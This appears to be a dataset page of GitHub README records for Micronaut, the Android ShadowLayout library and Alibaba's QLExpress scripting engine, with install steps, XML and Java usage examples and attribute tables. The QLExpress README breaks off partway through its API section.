https://www.wgstart.com/docs19.html
| 0 |
micronaut-projects/micronaut-core | Micronaut Application Framework | 2018-03-07T12:05:08Z | null | # Micronaut Framework
[![Build Status](https://github.com/micronaut-projects/micronaut-core/workflows/Java%20CI/badge.svg)](https://github.com/micronaut-projects/micronaut-core/actions)
[![Revved up by Develocity](https://img.shields.io/badge/Revved%20up%20by-Develocity-06A0CE?logo=Gradle&labelColor=02303A)](https://ge.micronaut.io/scans)
[![Quality Gate Status](https://sonarcloud.io/api/project_badges/measure?project=micronaut-projects_micronaut-core&metric=alert_status)](https://sonarcloud.io/summary/new_code?id=micronaut-projects_micronaut-core)
[Micronaut Framework](https://micronaut.io) is a modern, JVM-based, full stack Java framework designed for building modular, easily testable JVM applications with support for Java, Kotlin and the Groovy language.
The Micronaut framework was originally created by a team who had also worked on the Grails framework. The Micronaut framework takes inspiration from lessons learned over the years building real-world applications from monoliths to microservices using Spring, Spring Boot and the Grails framework. The core team continues to develop and maintain the Micronaut project through the support of the Micronaut Foundation.
Micronaut Framework aims to provide all the tools necessary to build JVM applications including:
* Dependency Injection and Inversion of Control (IoC)
* Aspect Oriented Programming (AOP)
* Sensible Defaults and Auto-Configuration
With Micronaut Framework you can build Message-Driven Applications, Command Line Applications, HTTP Servers and more whilst for Microservices in particular Micronaut Framework also provides:
* Distributed Configuration
* Service Discovery
* HTTP Routing
* Client-Side Load Balancing
At the same time Micronaut Framework aims to avoid the downsides of frameworks like Spring, Spring Boot and Grails by providing:
* Fast startup time
* Reduced memory footprint
* Minimal use of reflection
* Minimal use of proxies
* No runtime bytecode generation
* Easy Unit Testing
This is achieved by pre-computing the framework infrastructure at compilation time which reduces the logic required at runtime for the application to work.
For more information on using Micronaut Framework see the documentation at [micronaut.io](https://micronaut.io)
## Example Applications
Example Micronaut Framework applications can be found in the [Examples repository](https://github.com/micronaut-projects/micronaut-examples)
## Building From Source
To build from source checkout the code and run:
```
./gradlew publishToMavenLocal
```
To build the documentation run `./gradlew docs`. The documentation is built to `build/docs/index.html`.
## Contributing Code
If you wish to contribute to the development of Micronaut Framework please read the [CONTRIBUTING.md](CONTRIBUTING.md)
## Versioning
Micronaut Framework is using Semantic Versioning 2.0.0. To understand what that means, please see the specification [documentation](https://semver.org/). Exclusions to Micronaut Framework's public API include any classes annotated with `@Experimental` or `@Internal`, which reside in the `io.micronaut.core.annotation` package.
## CI
[GitHub Actions](https://github.com/micronaut-projects/micronaut-core/actions) are used to build Micronaut Framework. If a build fails in `master`, check the [test reports](https://micronaut-projects.github.io/micronaut-core/index.html).
| 0 |
lihangleo2/ShadowLayout | 可定制化阴影的万能阴影布局ShadowLayout 3.0 震撼上线。效果赶超CardView。阴影支持x,y轴偏移,支持阴影扩散程度,支持阴影圆角,支持单边或多边不显示阴影;控件支持动态设置shape和selector(项目里再也不用画shape了);支持随意更改颜色值,支持随意更改颜色值,支持随意更改颜色值。重要的事情说三遍 | 2019-07-09T07:17:06Z | null | # 万能阴影布局-ShadowLayout
[![](https://jitpack.io/v/lihangleo2/ShadowLayout.svg)](https://jitpack.io/#lihangleo2/ShadowLayout)
[![](https://img.shields.io/badge/license-MIT-green)](https://github.com/lihangleo2/ShadowLayout/blob/master/LICENSE)
## 特点功能
任何view被包裹后即可享受阴影,以及系统shape,selector功能(清空项目drawable文件夹)。具体介绍如下:
```
支持定制化阴影:
1. 随意修改阴影颜色值
2. 阴影圆角:可统一设置圆角,也可对某几个角单独设置
3. 阴影x,y偏移量
4. 随意修改阴影扩散程度,即阴影大小
5. 隐藏阴影:隐藏某边或多边阴影,或完全隐藏
6. 可随意代码动态修改阴影
不止于阴影;系统shape功能:项目中shape、selector、ripple统统拥有。解放你的双手,清空项目drawable文件夹
1. shape样式:pressed(按钮点击)、selected(按钮选择)、ripple(点击水波纹)
2. 背景色设置
3. stroke边框设置
4. 渐变色背景色设置
5. 按钮是否可被点击及不可点击背景
6. 可绑定textView后,可伴随文案变化,可伴随文案颜色变化
7. 支持设置图片背景,支持图片selector
8. 可以剪裁子view,比如用到播放器之类的地方,想要各种不同的圆角时,ShadowLayout可以轻松解决
```
## ShadowLayout动态
* [ShadowLayout成长史](https://github.com/lihangleo2/ShadowLayout/wiki)
* 注意:3.0后修改大量api及规范命名,如果还在用2.0,不方便转移的可查看[ShadowLayout2.0文档](https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/README218.md)
* 注意:3.4.0后适配了AndroidX
## Demo
为录制流畅,截图分辨率比较模糊。可在下方扫描二维码下载apk,查看真机效果。
![](https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/ShadowLayout_.png)
<br/>
## 效果展示
为录制流畅,截图分辨率模糊。可下载apk查看真机效果
* ### 1.0功能展示
|基础功能展示|各属性展示|随意更改颜色|
|:---:|:---:|:---:|
|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/main.jpg" alt="Sample" width="100%">|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/first_show.gif" alt="Sample" width="100%">|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/other_show.gif" alt="Sample" width="100%">
<br/>
* ### 2.0功能更新
|2.1.6新增shape,selector功能|2.1.7isSym属性对比|2.1.8单独更改某圆角大小|
|:---:|:---:|:---:|
|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/shape_gif.gif" alt="Sample" width="100%">|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/isSym_half.jpg" alt="Sample" width="481">|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/corners.gif" alt="Sample" width="100%">
<br/>
* ### 3.0.1版本来袭
|stroke边框及点击|shape及图片selector|组合使用|
|:---:|:---:|:---:|
|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/stroke2.gif" alt="Sample" width="100%">|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/shapeSelector2.gif" alt="Sample" width="100%">|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/groupUse2.gif" alt="Sample" width="100%">
<br/>
* ### 3.1.0新增ripple及渐变色及3.1.1绑定textView
|3.1.0渐变色及ripple|3.1.1绑定textView|
|:---:|:---:|
|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/ripple.gif" alt="Sample">|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/bindTextView.gif" alt="Sample">
<br/>
* ### 3.3.1功能更新
|增加虚线边框|单边虚线|边框和ripple共存|
|:---:|:---:|:---:|
|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/show_3.3.1_1.jpg" alt="Sample" width="100%">|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/show_3.3.1_2.jpg" alt="Sample" width="100%">|<img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/show_3.3.1_3.jpg" alt="Sample" width="100%">
<br/>
## 添加依赖
- 项目build.gradle添加如下
```java
allprojects {
repositories {
maven { url 'https://jitpack.io' }
}
}
```
- app build.gradle添加如下
```java
dependencies {
//使用AndroidX版本
implementation 'com.github.lihangleo2:ShadowLayout:3.4.0'
//不使用AndroidX
//implementation 'com.github.lihangleo2:ShadowLayout:3.3.3'
}
```
<br/>
## 热门问题
- [glide版本冲突终极解决方案](https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/GLIDE.md)
- [3.2.4依赖问题解决](https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/problem.md)
<br/>
## 基本使用
* #### 一、阴影的简单使用
```xml
<com.lihang.ShadowLayout
android:id="@+id/mShadowLayout"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center_horizontal"
app:hl_cornerRadius="10dp"
app:hl_shadowColor="#2a000000"
app:hl_shadowLimit="5dp"
>
<TextView
android:id="@+id/txt_test"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:gravity="center"
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:text="圆角"
android:textColor="#000" />
</com.lihang.ShadowLayout>
```
<br/>
* #### 二、stroke边框的简单使用
```xml
<com.lihang.ShadowLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center_horizontal"
app:hl_cornerRadius="10dp"
app:hl_strokeColor="#000">
<TextView
android:layout_width="wrap_content"
android:layout_height="36dp"
android:gravity="center"
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:text="圆角边框"
android:textColor="#000" />
</com.lihang.ShadowLayout>
```
<br/>
* #### 三、shape selector的简单使用
```xml
<com.lihang.ShadowLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center_horizontal"
android:layout_marginTop="10dp"
app:hl_cornerRadius="30dp"
app:hl_cornerRadius_leftTop="0dp"
app:hl_layoutBackground="#F76C6C"
app:hl_layoutBackground_true="#89F76C6C"
app:hl_shapeMode="pressed">
<TextView
android:layout_width="wrap_content"
android:layout_height="36dp"
android:gravity="center"
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:text="selector的pressed用法,请点击"
android:textColor="#fff" />
</com.lihang.ShadowLayout>
```
<br/>
* #### 四、图片 selector的简单使用
```xml
<com.lihang.ShadowLayout
android:id="@+id/ShadowLayout_shape"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center_horizontal"
android:layout_marginTop="10dp"
app:hl_cornerRadius="18dp"
app:hl_cornerRadius_rightTop="0dp"
app:hl_layoutBackground="@mipmap/test_background_false"
app:hl_layoutBackground_true="@mipmap/test_background_true">
<TextView
android:layout_width="wrap_content"
android:layout_height="36dp"
android:gravity="center"
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:text="图片selector"
android:textColor="#fff" />
</com.lihang.ShadowLayout>
```
如果你觉得麻烦,你还可以这样
```xml
<com.lihang.ShadowLayout
android:id="@+id/ShadowLayout_image"
android:layout_width="50dp"
android:layout_height="50dp"
android:layout_gravity="center_horizontal"
android:layout_marginTop="10dp"
app:hl_layoutBackground="@mipmap/game_6_right"
app:hl_layoutBackground_true="@mipmap/game_6_wrong"
app:hl_shapeMode="pressed" />
```
<br/>
* #### 五、渐变色的简单使用
```xml
<com.lihang.ShadowLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
app:hl_cornerRadius="18dp"
app:hl_startColor="#ff0000"
app:hl_endColor="#0000ff"
>
<TextView
android:layout_width="160dp"
android:layout_height="40dp"
android:gravity="center"
android:text="渐变色"
android:textColor="#fff" />
</com.lihang.ShadowLayout>
```
<br/>
* #### 六、水波纹ripple的使用
```xml
<com.lihang.ShadowLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
app:hl_cornerRadius="18dp"
app:hl_shadowColor="#2a000000"
app:hl_shadowLimit="7dp"
app:hl_layoutBackground="#fff"
app:hl_layoutBackground_true="#ff0000"
app:hl_shapeMode="ripple"
>
<TextView
android:layout_width="160dp"
android:layout_height="40dp"
android:gravity="center"
android:text="水波纹"
/>
</com.lihang.ShadowLayout>
```
<br/>
* #### 七、绑定textView,伴随文案及颜色变化
```xml
<com.lihang.ShadowLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center_horizontal"
android:layout_marginTop="20dp"
app:hl_bindTextView="@+id/txt_press"
app:hl_cornerRadius="18dp"
app:hl_layoutBackground="#FF9800"
app:hl_layoutBackground_true="#ff0000"
app:hl_shapeMode="pressed"
app:hl_textColor_true="#fff"
app:hl_text="点我,press样式"
app:hl_text_true="我改变了文案了"
>
<TextView
android:id="@+id/txt_press"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:gravity="center"
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:text="点我,press样式"
android:textColor="#000" />
</com.lihang.ShadowLayout>
```
<br/>
* #### 八、单条虚线、hl_shapeMode:dashLine的使用(以长边为宽度,短边为虚线width。由此可知,如下例子:为横向虚线)
```xml
<com.lihang.ShadowLayout
android:id="@+id/ShadowLayout_line"
android:layout_width="match_parent"
android:layout_height="1dp"
app:hl_strokeColor="#ff0000"
app:hl_shapeMode="dashLine"
app:hl_stroke_dashWidth="5dp"
app:hl_stroke_dashGap="5dp"
/>
```
<br/>
* #### 九、剪裁各种难以搞定的圆角(如特殊视频圆角剪裁,注意任何view被ShadowLayout包裹都能剪裁)
```
如下代码,剪裁视频播放器(注明2点)
- app:hl_layoutBackground="@color/transparent" 取消shadowLayout默认背景白色改透明
- app:clickable="false" 取消shadowLayout的点击焦点(用于解决recyclerView里的点击冲突)
```
```xml
<com.lihang.ShadowLayout
android:id="@+id/shadowlayout_Container"
android:layout_width="match_parent"
android:layout_height="@dimen/dp_259"
app:hl_cornerRadius_leftTop="@dimen/dp_12"
app:hl_cornerRadius_rightTop="@dimen/dp_12"
app:hl_layoutBackground="@color/transparent"
app:clickable="false"
>
<com.iccapp.module.common.widget.video.VideoView
android:id="@+id/video_view"
android:layout_width="match_parent"
android:layout_height="match_parent"
/>
</com.lihang.ShadowLayout>
```
<br/>
## 属性表格(Attributes)
### 一、关于阴影
|name|format|description|
|:---:|:---:|:---:|
|hl_shadowHidden|boolean|是否隐藏阴影(默认false)|
|hl_shadowColor|color|阴影颜色值,如不带透明,默认透明16%|
|hl_shadowLimit|dimension|阴影扩散程度(dp)|
|hl_shadowOffsetX|dimension|x轴的偏移量(dp)|
|hl_shadowOffsetY|dimension|y轴的偏移量(dp)|
|hl_shadowHiddenLeft|boolean|左边的阴影不可见,其他3边同理|
|hl_shadowSymmetry|boolean|控件区域是否对称(默认true)根据此图理解<br><img src="https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/isSym_half.jpg" alt="Sample" width="350">|
<br/>
### 二、关于圆角
|name|format|description|
|:---:|:---:|:---:|
|hl_cornerRadius|dimension|包括阴影圆角、shape圆角(dp)|
|hl_cornerRadius_leftTop|dimension|左上圆角,其他角还是hl_cornerRadius值;同理其他3角(dp)|
<br/>
### 三、关于shape
* #### 3.1、关于shape样式及背景色
|name|format|description|
|:---:|:---:|:---:|
|hl_shapeMode|enum|有4种模式:pressed和selected。和系统shape一样,以及ripple点击水波纹。新增dashLine|
|hl_layoutBackground|reference/color|背景色,为false时展示:可以是颜色值,图片以及系统shape样式|
|hl_layoutBackground_true|reference/color|背景色,为true时展示:可以是颜色值,图片以及系统shape样式|
<br/>
* #### 3.2、关于stroke边框
|name|format|description|
|:---:|:---:|:---:|
|hl_strokeWith|dimension|stroke边框线宽度|
|hl_strokeColor|color|边框颜色值,为false展示|
|hl_strokeColor_true|color|边框颜色值,为true展示|
|hl_stroke_dashWidth|dimension|虚线边框的实线部分长度|
|hl_stroke_dashGap|dimension|虚线边框的间隔宽度|
<br/>
* #### 3.3、关于渐变色
|name|format|description|
|:---:|:---:|:---:|
|hl_startColor|color|渐变起始颜色(设置渐变色后,hl_layoutBackground属性将无效)|
|hl_centerColor|color|渐变中间颜色(可不填)|
|hl_endColor|color|渐变的终止颜色|
|hl_angle|integer|渐变角度(默认0)|
<br/>
* #### 3.4、关于绑定textView
|name|format|description|
|:---:|:---:|:---:|
|hl_bindTextView|reference|当前要绑定的textView的id|
|hl_textColor|color|shape为false是展示的文案颜色|
|hl_textColor_true|color|shape为true是展示的文案颜色|
|hl_text|string|shape为false时展示的文案|
|hl_text_true|string|shape为true时展示的文案|
<br/>
### 四、关于clickable
|name|format|description|
|:---:|:---:|:---:|
|clickable|boolean|设置ShadowLayout是否可以被点击;代码设置:mShadowLayout.setClickable(false);(默认true)|
|hl_layoutBackground_clickFalse|reference/color|Clickable为false时,要展示的图片或颜色。(此属性应当在app:hl_shapeMode="pressed"时生效)|
<br/>
## 方法表格(Method)
|name|format|description|
|:---:|:---:|:---:|
|setShadowHidden()|boolean|是否隐藏阴影|
|setShadowColor()|color|设置阴影颜色值|
|setShadowLimit()|dimension|设置阴影扩散区域|
|setOffsetX()|dimension|设置阴影的X轴偏移量|
|setOffsetY()|dimension|设置阴影的Y轴偏移量|
|setShadowHiddenTop()|boolean|隐藏上边阴影(同理其他三遍)|
|setCornerRadius()|dimension|设置圆角|
|setLayoutBackground()|color|设置false时的背景颜色值|
|setLayoutBackgroundTrue()|color|设置true时的背景颜色值|
|setStrokeColor()|color|设置false时的边框颜色|
|setStrokeColorTrue()|color|设置true时的边框颜色|
|setStrokeWidth()|dimension|设置边框的粗细|
|setClickable()|boolean|设置ShadowLayout是否可以点击|
|setSpecialCorner()|integer|设置ShadowLayout四个角的大小|
|setGradientColor()|integer|设置渐变颜色|
<br/>
## 赞赏
如果你喜欢 ShadowLayout 的功能,感觉 ShadowLayout 帮助到了你,可以点右上角 "Star" 支持一下 谢谢! ^_^
你也还可以扫描下面的二维码~ 请作者喝一杯咖啡。或者遇到工作中比较难实现的需求请作者帮忙。
![](https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/pay_ali.png) ![](https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/pay_wx.png)
如果在捐赠留言中备注名称,将会被记录到列表中~ 如果你也是github开源作者,捐赠时可以留下github项目地址或者个人主页地址,链接将会被添加到列表中
### [捐赠列表](https://github.com/lihangleo2/ShadowLayout/blob/master/showImages/friend.md)
<br/>
## 其他作品
[万能ViewPager2适配器SmartViewPager2Adapter](https://github.com/lihangleo2/ViewPager2Demo)
[RichEditTextCopyToutiao](https://github.com/lihangleo2/RichEditTextCopyToutiao)
[mPro](https://github.com/lihangleo2/mPro)
[SmartLoadingView](https://github.com/lihangleo2/SmartLoadingView)
<br/>
## 关于作者。
Android工作多年了。前进的道路上是孤独的。如果你在学习的路上也感觉孤独,请和我一起。让我们在学习道路上少些孤独
<!-- * [关于我的经历](https://mp.weixin.qq.com/s?__biz=MzAwMDA3MzU2Mg==&mid=2247483667&idx=1&sn=1a575ea2c636980e5f4c579d3a73d8ab&chksm=9aefcb26ad98423041c61ad7cbad77f0534495d11fc0a302b9fdd3a3e6b84605cad61d192959&mpshare=1&scene=23&srcid=&sharer_sharetime=1572505105563&sharer_shareid=97effcbe7f9d69e6067a40da3e48344a#rd) -->
* QQ群: 209010674 <a target="_blank" href="http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=C5RJFvVexskcqccqO1ORpLID9dBxlbIM&authKey=aax93zJjnA2San0TA0VEIc%2BLU9RDtstZ7BD7pz3FPdJRjlOu8%2Ffb%2BDNSX0Cz6hbr&noverify=0&group_code=209010674"><img border="0" src="http://pub.idqqimg.com/wpa/images/group.png" alt="android交流群" title="android交流群"></a>(点击图标,可以直接加入)
<br/>
## Licenses
```
MIT License
Copyright (c) 2019 leo
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
```
| 0 |
alibaba/QLExpress | QLExpress is a powerful, lightweight, dynamic language for the Java platform aimed at improving developers’ productivity in different business scenes. | 2017-03-15T08:39:54Z | null | # QLExpress基本语法
[![Join the chat at https://gitter.im/QLExpress/Lobby](https://badges.gitter.im/QLExpress/Lobby.svg)](https://gitter.im/QLExpress/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
# 一、背景介绍
由阿里的电商业务规则、表达式(布尔组合)、特殊数学公式计算(高精度)、语法分析、脚本二次定制等强需求而设计的一门动态脚本引擎解析工具。
在阿里集团有很强的影响力,同时为了自身不断优化、发扬开源贡献精神,于2012年开源。
QLExpress脚本引擎被广泛应用在阿里的电商业务场景,具有以下的一些特性:
- 1、线程安全,引擎运算过程中的产生的临时变量都是threadlocal类型。
- 2、高效执行,比较耗时的脚本编译过程可以缓存在本地机器,运行时的临时变量创建采用了缓冲池的技术,和groovy性能相当。
- 3、弱类型脚本语言,和groovy,javascript语法类似,虽然比强类型脚本语言要慢一些,但是使业务的灵活度大大增强。
- 4、安全控制,可以通过设置相关运行参数,预防死循环、高危系统api调用等情况。
- 5、代码精简,依赖最小,250k的jar包适合所有java的运行环境,在android系统的低端pos机也得到广泛运用。
# 二、依赖和调用说明
```xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>QLExpress</artifactId>
<version>3.3.3</version>
</dependency>
```
版本兼容性: [跳转查看](VERSIONS.md)
```java
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
context.put("a", 1);
context.put("b", 2);
context.put("c", 3);
String express = "a + b * c";
Object r = runner.execute(express, context, null, true, false);
System.out.println(r);
```
如果应用有让终端用户输入与执行 QLExpress 的功能,务必关注 [多级别安全控制](#4-多级别安全控制),**将 QLExpress 的安全级别配置在白名单或以上。**
# 三、语法介绍
## 1、操作符和java对象操作
### 普通java语法
```java
//支持 +,-,*,/,<,>,<=,>=,==,!=,<>【等同于!=】,%,mod【取模等同于%】,++,--,
//in【类似sql】,like【sql语法】,&&,||,!,等操作符
//支持for,break、continue、if then else 等标准的程序控制逻辑
n = 10;
sum = 0;
for(i = 0; i < n; i++) {
sum = sum + i;
}
return sum;
//逻辑三元操作
a = 1;
b = 2;
maxnum = a > b ? a : b;
```
### 和java语法相比,要避免的一些ql写法错误
- 不支持try{}catch{}
- 注释目前只支持 /** **/,不支持单行注释 //
- 不支持java8的lambda表达式
- 不支持for循环集合操作for (Item item : list)
- 弱类型语言,请不要定义类型声明,更不要用Template(Map<String, List>之类的)
- array的声明不一样
- min,max,round,print,println,like,in 都是系统默认函数的关键字,请不要作为变量名
```
//java语法:使用泛型来提醒开发者检查类型
keys = new ArrayList<String>();
deviceName2Value = new HashMap<String, String>(7);
String[] deviceNames = {"ng", "si", "umid", "ut", "mac", "imsi", "imei"};
int[] mins = {5, 30};
//ql写法:
keys = new ArrayList();
deviceName2Value = new HashMap();
deviceNames = ["ng", "si", "umid", "ut", "mac", "imsi", "imei"];
mins = [5, 30];
//java语法:对象类型声明
FocFulfillDecisionReqDTO reqDTO = param.getReqDTO();
//ql写法:
reqDTO = param.getReqDTO();
//java语法:数组遍历
for(Item item : list) {
}
//ql写法:
for(i = 0; i < list.size(); i++){
item = list.get(i);
}
//java语法:map遍历
for(String key : map.keySet()) {
System.out.println(map.get(key));
}
//ql写法:
keySet = map.keySet();
objArr = keySet.toArray();
for (i = 0; i < objArr.length; i++) {
key = objArr[i];
System.out.println(map.get(key));
}
```
### java的对象操作
```java
import com.ql.util.express.test.OrderQuery;
//系统自动会import java.lang.*,import java.util.*;
query = new OrderQuery(); // 创建class实例,自动补全类路径
query.setCreateDate(new Date()); // 设置属性
query.buyer = "张三"; // 调用属性,默认会转化为setBuyer("张三")
result = bizOrderDAO.query(query); // 调用bean对象的方法
System.out.println(result.getId()); // 调用静态方法
```
## 2、脚本中定义function
```java
function add(int a, int b){
return a + b;
};
function sub(int a, int b){
return a - b;
};
a = 10;
return add(a, 4) + sub(a, 9);
```
## 3、扩展操作符:Operator
### 替换 if then else 等关键字
```java
runner.addOperatorWithAlias("如果", "if", null);
runner.addOperatorWithAlias("则", "then", null);
runner.addOperatorWithAlias("否则", "else", null);
express = "如果 (语文 + 数学 + 英语 > 270) 则 {return 1;} 否则 {return 0;}";
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
runner.execute(express, context, null, false, false, null);
```
### 如何自定义Operator
```java
import java.util.ArrayList;
import java.util.List;
/**
* 定义一个继承自com.ql.util.express.Operator的操作符
*/
public class JoinOperator extends Operator {
public Object executeInner(Object[] list) throws Exception {
Object opdata1 = list[0];
Object opdata2 = list[1];
if (opdata1 instanceof List) {
((List)opdata1).add(opdata2);
return opdata1;
} else {
List result = new ArrayList();
for (Object opdata : list) {
result.add(opdata);
}
return result;
}
}
}
```
### 如何使用Operator
```java
//(1)addOperator
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
runner.addOperator("join", new JoinOperator());
Object r = runner.execute("1 join 2 join 3", context, null, false, false);
System.out.println(r); // 返回结果 [1, 2, 3]
//(2)replaceOperator
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
runner.replaceOperator("+", new JoinOperator());
Object r = runner.execute("1 + 2 + 3", context, null, false, false);
System.out.println(r); // 返回结果 [1, 2, 3]
//(3)addFunction
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
runner.addFunction("join", new JoinOperator());
Object r = runner.execute("join(1, 2, 3)", context, null, false, false);
System.out.println(r); // 返回结果 [1, 2, 3]
```
## 4、绑定java类或者对象的method
addFunctionOfClassMethod + addFunctionOfServiceMethod
```java
public class BeanExample {
public static String upper(String abc) {
return abc.toUpperCase();
}
public boolean anyContains(String str, String searchStr) {
char[] s = str.toCharArray();
for (char c : s) {
if (searchStr.contains(c+"")) {
return true;
}
}
return false;
}
}
runner.addFunctionOfClassMethod("取绝对值", Math.class.getName(), "abs", new String[] {"double"}, null);
runner.addFunctionOfClassMethod("转换为大写", BeanExample.class.getName(), "upper", new String[] {"String"}, null);
runner.addFunctionOfServiceMethod("打印", System.out, "println", new String[] { "String" }, null);
runner.addFunctionOfServiceMethod("contains", new BeanExample(), "anyContains", new Class[] {String.class, String.class}, null);
String express = "取绝对值(-100); 转换为大写(\"hello world\"); 打印(\"你好吗?\"); contains("helloworld",\"aeiou\")";
runner.execute(express, context, null, false, false);
```
## 5、macro 宏定义
```java
runner.addMacro("计算平均成绩", "(语文+数学+英语)/3.0");
runner.addMacro("是否优秀", "计算平均成绩>90");
IExpressContext<String, Object> context = new DefaultContext<String, Object>();
context.put("语文", 88);
context.put("数学", 99);
context.put("英语", 95);
Object result = runner.execute("是否优秀", context, null, false, false);
System.out.println(r);
//返回结果true
```
## 6、编译脚本,查询外部需要定义的变量和函数。
**注意以下脚本int和没有int的区别**
```java
String express = "int 平均分 = (语文 + 数学 + 英语 + 综合考试.科目2) / 4.0; return 平均分";
ExpressRunner runner = new ExpressRunner(true, true);
String[] names = runner.getOutVarNames(express);
for(String s:names){
System.out.println("var : " + s);
}
//输出结果:
var : 数学
var : 综合考试
var : 英语
var : 语文
```
## 7、关于不定参数的使用
```java
@Test
public void testMethodReplace() throws Exception {
ExpressRunner runner = new ExpressRunner();
IExpressContext<String, Object> expressContext = new DefaultContext<String, Object>();
runner.addFunctionOfServiceMethod("getTemplate", this, "getTemplate", new Class[]{Object[].class}, null);
//(1)默认的不定参数可以使用数组来代替
Object r = runner.execute("getTemplate([11,'22', 33L, true])", expressContext, null, false, false);
System.out.println(r);
//(2)像java一样,支持函数动态参数调用,需要打开以下全局开关,否则以下调用会失败
DynamicParamsUtil.supportDynamicParams = true;
r = runner.execute("getTemplate(11, '22', 33L, true)", expressContext, null, false, false);
System.out.println(r);
}
//等价于getTemplate(Object[] params)
public Object getTemplate(Object... params) throws Exception{
String result = "";
for(Object obj:params){
result = result + obj + ",";
}
return result;
}
```
## 8、关于集合的快捷写法
```java
@Test
public void testSet() throws Exception {
ExpressRunner runner = new ExpressRunner(false, false);
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
String express = "abc = NewMap(1:1, 2:2); return abc.get(1) + abc.get(2);";
Object r = runner.execute(express, context, null, false, false);
System.out.println(r);
express = "abc = NewList(1, 2, 3); return abc.get(1) + abc.get(2)";
r = runner.execute(express, context, null, false, false);
System.out.println(r);
express = "abc = [1, 2, 3]; return abc[1] + abc[2];";
r = runner.execute(express, context, null, false, false);
System.out.println(r);
}
```
## 9、集合的遍历
其实类似java的语法,只是ql不支持for(obj:list){}的语法,只能通过下标访问。
```java
//遍历map
map = new HashMap();
map.put("a", "a_value");
map.put("b", "b_value");
keySet = map.keySet();
objArr = keySet.toArray();
for (i = 0; i < objArr.length; i++) {
key = objArr[i];
System.out.println(map.get(key));
}
```
# 四、运行参数和API列表介绍
QLExpressRunner如下图所示,从语法树分析、上下文、执行过程三个方面提供二次定制的功能扩展。
![QlExpress-detail.jpg](http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/dec904b003aba15cbf1af2726914ddee.jpg)
## 1、属性开关
### isPrecise
```java
/**
* 是否需要高精度计算
*/
private boolean isPrecise = false;
```
> 高精度计算在会计财务中非常重要,java的float、double、int、long存在很多隐式转换,做四则运算和比较的时候其实存在非常多的安全隐患。
> 所以类似汇金的系统中,会有很多BigDecimal转换代码。而使用QLExpress,你只要关注数学公式本身 _订单总价 = 单价 * 数量 + 首重价格 + ( 总重量 - 首重) * 续重单价_ ,然后设置这个属性即可,所有的中间运算过程都会保证不丢失精度。
### isShortCircuit
```java
/**
* 是否使用逻辑短路特性
*/
private boolean isShortCircuit = true;
```
在很多业务决策系统中,往往需要对布尔条件表达式进行分析输出,普通的java运算一般会通过逻辑短路来减少性能的消耗。例如规则公式:
_star > 10000 and shopType in ('tmall', 'juhuasuan') and price between (100, 900)_
假设第一个条件 _star>10000_ 不满足就停止运算。但业务系统却还是希望把后面的逻辑都能够运算一遍,并且输出中间过程,保证更快更好的做出决策。
参照单元测试:[ShortCircuitLogicTest.java](https://github.com/alibaba/QLExpress/blob/master/src/test/java/com/ql/util/express/test/logic/ShortCircuitLogicTest.java)
### isTrace
```java
/**
* 是否输出所有的跟踪信息,同时还需要log级别是DEBUG级别
*/
private boolean isTrace = false;
```
这个主要是是否输出脚本的编译解析过程,一般对于业务系统来说关闭之后会提高性能。
## 2、调用入参
```java
/**
* 执行一段文本
* @param expressString 程序文本
* @param context 执行上下文,可以扩展为包含ApplicationContext
* @param errorList 输出的错误信息List
* @param isCache 是否使用Cache中的指令集,建议为true
* @param isTrace 是否输出详细的执行指令信息,建议为false
* @param aLog 输出的log
* @return
* @throws Exception
*/
Object execute(String expressString, IExpressContext<String, Object> context, List<String> errorList, boolean isCache, boolean isTrace);
```
